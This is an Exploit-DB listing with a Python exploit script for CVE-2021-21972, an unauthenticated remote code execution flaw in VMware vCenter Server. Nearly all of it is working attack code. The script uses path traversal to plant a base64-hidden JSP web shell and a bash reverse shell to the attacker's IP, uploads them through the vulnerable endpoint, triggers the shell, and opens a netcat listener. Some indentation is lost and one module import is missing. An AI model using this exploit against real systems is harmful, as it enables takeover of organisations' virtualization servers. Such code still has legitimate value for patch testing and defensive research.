VMware vCenter Server 7.0 – Remote Code Execution (RCE) (Unauthenticated)

  • 作者: CHackA0101
    日期: 2021-06-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50056/
  • # Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)
    # Date: 06/21/2021
    # Exploit Author: CHackA0101
    # Vendor Homepage: https://kb.vmware.com/s/article/82374
    # Software Link: https://www.vmware.com/products/vcenter-server.html
    # Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
    # Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux)
    # CVE: 2021-21972
    
    # More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md
    
    #!/usr/bin/python2
    
    import os
    import urllib3
    import argparse
    import sys
    import requests
    import base64
    import tarfile
    import threading
    import time
    
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    myargs=argparse.ArgumentParser()
    myargs.add_argument('-T','--target',help='The IP address of the target',required=True)
    myargs.add_argument('-L','--local',help='Your local IP',required=True)
    args=myargs.parse_args()
    
    def getprompt(x):
    	print ("(CHackA0101-GNU/Linux)$ "+ str(x)) 
    
    def getpath(path="/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp"):
    fullpath="../" * 7 + path
    return fullpath.replace('\\','/').replace('//','/')
    
    def createbackdoor(localip):
    # shell4.jsp
    backdoor = "PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg=="
    backdoor = base64.b64decode(backdoor).decode('utf-8')
    f = open("shell4.jsp","w")
    f.write(backdoor)
    f.close()
    # reverse.sh 
    # After decoding overwrite string 'CUSTOM_IP' for local IP 
    shell="IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE="
    shell=base64.b64decode(shell).decode('utf-8')
    shell=shell.replace('CUSTOM_IP',localip)
    f=open("reverse.sh","w")
    f.write(shell)
    f.close()
    # Move on with the payload
    payload_file=tarfile.open('payload.tar','w')
    myroute=getpath()
    getprompt('Adding web backdoor to archive')
    payload_file.add("shell4.jsp", myroute)
    myroute=getpath("tmp/reverse.sh")
    getprompt('Adding bash backdoor to archive')
    payload_file.add("reverse.sh", myroute)
    payload_file.close()
    # cleaning up a little bit
    os.unlink("reverse.sh")
    os.unlink("shell4.jsp")
    getprompt('Backdoor file just was created.')
    
    def launchexploit(ip):
    res=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60)
    if res.status_code == 200 and res.text == 'SUCCESS':
    getprompt('Backdoor was uploaded successfully!')
    return True
    else:
    getprompt('Backdoor failed to be uploaded. Target denied access.')
    return False
    
    def testshell(ip):
    getprompt('Looking for shell...')
    shell_path="/ui/resources/shell4.jsp?cmd=uname+-a"
    res=requests.get('https://' + ip + shell_path, verify=False, timeout=60)
    if res.status_code==200:
    getprompt('Shell was found!.')
    response=res.text
    if True:
    getprompt('Shell is responsive.')
    try:
    response=re.findall("b>(.+)</",response)[0]
    print('$>uname -a')
    print(response)
    except:
    pass
    return True
    else:
    getprompt('Sorry. Shell was not found.')
    return False
    
    def opendoor(url):
    time.sleep(3)
    getprompt('Executing command.')
    requests.get(url, verify=False, timeout=1800)
    	
    def executebackdoor(ip, localip):
    url="https://"+ip+"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh"
    t=threading.Thread(target=opendoor,args=(url,))
    t.start()
    getprompt('Setting up socket '+localip+':443')
    os.system('nc -lnvp 443')
    
    if len(sys.argv)== 1:
    myargs.print_help(sys.stderr)
    sys.exit(1)
    createbackdoor(args.local)
    uploaded=launchexploit(args.target)
    if uploaded:
    tested=testshell(args.target)
    if tested:
    executebackdoor(args.target, args.local)
    getprompt("Execution completed!")